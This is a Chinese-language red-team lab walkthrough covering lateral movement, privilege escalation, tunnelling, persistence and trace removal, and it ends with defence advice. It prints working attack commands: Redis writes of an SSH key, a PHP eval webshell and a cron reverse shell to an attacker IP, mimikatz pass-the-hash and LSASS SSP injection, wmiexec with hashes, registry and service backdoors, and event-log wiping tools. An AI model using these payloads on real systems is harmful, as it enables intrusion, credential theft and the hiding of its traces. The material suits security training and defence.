ATT&CK实战 | 红队评估一(下)
字数 1601 2025-08-18 11:39:26

ATT&CK红队评估实战技术详解

横向移动技术

Redis Getshell方法

通过SSH Key方式

  1. 生成密钥对:ssh-keygen -t rsa
  2. 准备公钥文件:
    (echo -e "\n\n\n"; cat id_rsa.pub; echo -e "\n\n\n") > pub.txt
    
  3. Redis操作:
    config set dir /root/.ssh/
    config set dbfilename "authorized_keys"
    save
    exit
    
  4. 连接:ssh -i id_rsa root@目标IP

通过Webshell方式

flushdb
config set dir /var/www/html/
config set dbfilename "gaia.php"
set gaia "<?php eval($_POST[cmd]);?>"
save
exit

通过定时任务反弹Shell

config set dir /var/spool/cron/
config set dbfilename root
set x "\n*bash -i >& /dev/tcp/攻击者IP/端口 0>&1\n"
save

MySQL提权技术

UDF提权

  1. 前提:已知MySQL root账号密码
  2. 创建带有调用cmd函数的'udf.dll'
  3. 导出到指定文件夹并引入MySQL
  4. 使用CREATE FUNCTION调用dll中的函数

MOF提权

  1. MOF文件路径:c:/windows/system32/wbem/mof/
  2. 利用MySQL的load_file将文件写入/wbem/mof
  3. 系统每五秒自动执行MOF中的VBS脚本

Pass-the-Hash (PTH)攻击

  1. 获取用户NTLM hash值(使用mimikatz或hashdump)
  2. 使用mimikatz创建访问令牌:
    sekurlsa::pth /domain:域控名 /user:用户名 /ntlm:NTLM哈希
    
  3. 使用steal_token功能窃取访问令牌

WMI横向移动

  1. 使用Invoke-TheHash工具:
    Invoke-WMIExec -Target 目标IP -Domain workgroup -Username administrator -Hash 哈希值 -Command "calc.exe" -verbose
    
  2. MSF模块:exploit/windows/local/wmi
  3. 使用wmiexec:
    wmiexec -hashes LM Hash:NT Hash workgroup/administrator@目标IP "whoami"
    

内网代理与通道构建

HTTP Service代理

  1. 上传代理脚本到web服务器
  2. 配置proxychains使用socks5代理

Frp内网穿透

  1. 服务器配置文件:frps.ini
  2. 客户端配置文件:frpc.ini
  3. 注意token需与服务器配置一致

Cobalt Strike上线内网主机

  1. 在与外网互通的主机beacon上设置中转监听
  2. 生成payload
  3. 通过MSF+reGeorg+proxychains进入内网

SSH隧道

  1. 正向隧道:
    ssh -qTfnN -L port:host:hostport -l user remote_ip
    
  2. 反向隧道:
    ssh -qTfnN -R port:host:hostport -l user remote_ip
    
  3. SOCKS代理:
    ssh -qTfnN -D port remotehost
    

持久控制技术

域成员信息收集

利用SPN快速扫描域内存活服务及定位服务器

HTTP Listener交互信息隐藏

  1. 使用cs2modrewrite将Cobalt Strike配置转换为.htaccess或Nginx配置
  2. 使用Malleable C2配置文件修改流量特征

SSP注入

  1. 使用mimikatz的mimilib.dll
  2. 注入到LSASS进程:
    privilege::debug
    misc::memssp
    

金票(Golden Ticket)利用

  1. 获取krbtgt账户的NTLM hash和域SID
  2. 生成金票并写入缓存
  3. Cobalt Strike中可使用图形化Golden Ticket生成

后门植入方法

  1. 启动项后门:
    • 上传vbs脚本到C:\Users\*\AppData\Local\Temp\
    • 修改注册表:HKLM\Software\Microsoft\Windows\CurrentVersion\Run\
  2. metsvc服务后门:
    • 上传metsrv.x86.dll、metsvc-server.exe、metsvc.exe
    • 服务名为meterpreter
  3. Cobalt Strike捆绑后门

痕迹清理

日志清理目标

  1. Windows默认日志:应用程序、安全性、系统日志
  2. 防火墙日志
  3. DNS服务器日志
  4. Web中间件日志

清理工具

  1. Elsave:远程清除Windows日志
  2. Clearlog.exe
  3. 脚本工具:
    • Windows-EventLog-Bypass
    • Invoke-Phant0m

防御建议

  1. Redis安全配置:

    • 设置密码认证
    • 限制绑定IP
    • 禁用高危命令
  2. MySQL防护:

    • 限制root账户远程访问
    • 定期审计UDF函数
    • 监控wbem/mof目录变更
  3. PTH防御:

    • 启用Credential Guard
    • 限制本地管理员权限
    • 使用LSA保护
  4. WMI防护:

    • 监控WMI事件订阅
    • 限制WMI远程访问
    • 启用高级审计策略
  5. 持久化防御:

    • 监控注册表启动项
    • 审计服务创建
    • 检测异常SSP加载
  6. 日志保护:

    • 集中式日志管理
    • 设置日志转发
    • 监控日志删除事件
ATT&CK红队评估实战技术详解 横向移动技术 Redis Getshell方法 通过SSH Key方式 生成密钥对: ssh-keygen -t rsa 准备公钥文件: Redis操作: 连接: ssh -i id_rsa root@目标IP 通过Webshell方式 通过定时任务反弹Shell MySQL提权技术 UDF提权 前提:已知MySQL root账号密码 创建带有调用cmd函数的'udf.dll' 导出到指定文件夹并引入MySQL 使用 CREATE FUNCTION 调用dll中的函数 MOF提权 MOF文件路径: c:/windows/system32/wbem/mof/ 利用MySQL的 load_file 将文件写入/wbem/mof 系统每五秒自动执行MOF中的VBS脚本 Pass-the-Hash (PTH)攻击 获取用户NTLM hash值(使用mimikatz或hashdump) 使用mimikatz创建访问令牌: 使用steal_ token功能窃取访问令牌 WMI横向移动 使用Invoke-TheHash工具: MSF模块: exploit/windows/local/wmi 使用wmiexec: 内网代理与通道构建 HTTP Service代理 上传代理脚本到web服务器 配置proxychains使用socks5代理 Frp内网穿透 服务器配置文件:frps.ini 客户端配置文件:frpc.ini 注意token需与服务器配置一致 Cobalt Strike上线内网主机 在与外网互通的主机beacon上设置中转监听 生成payload 通过MSF+reGeorg+proxychains进入内网 SSH隧道 正向隧道: 反向隧道: SOCKS代理: 持久控制技术 域成员信息收集 利用SPN快速扫描域内存活服务及定位服务器 HTTP Listener交互信息隐藏 使用cs2modrewrite将Cobalt Strike配置转换为.htaccess或Nginx配置 使用Malleable C2配置文件修改流量特征 SSP注入 使用mimikatz的mimilib.dll 注入到LSASS进程: 金票(Golden Ticket)利用 获取krbtgt账户的NTLM hash和域SID 生成金票并写入缓存 Cobalt Strike中可使用图形化Golden Ticket生成 后门植入方法 启动项后门: 上传vbs脚本到 C:\Users\*\AppData\Local\Temp\ 修改注册表: HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ metsvc服务后门: 上传metsrv.x86.dll、metsvc-server.exe、metsvc.exe 服务名为meterpreter Cobalt Strike捆绑后门 痕迹清理 日志清理目标 Windows默认日志:应用程序、安全性、系统日志 防火墙日志 DNS服务器日志 Web中间件日志 清理工具 Elsave:远程清除Windows日志 Clearlog.exe 脚本工具: Windows-EventLog-Bypass Invoke-Phant0m 防御建议 Redis安全配置: 设置密码认证 限制绑定IP 禁用高危命令 MySQL防护: 限制root账户远程访问 定期审计UDF函数 监控wbem/mof目录变更 PTH防御: 启用Credential Guard 限制本地管理员权限 使用LSA保护 WMI防护: 监控WMI事件订阅 限制WMI远程访问 启用高级审计策略 持久化防御: 监控注册表启动项 审计服务创建 检测异常SSP加载 日志保护: 集中式日志管理 设置日志转发 监控日志删除事件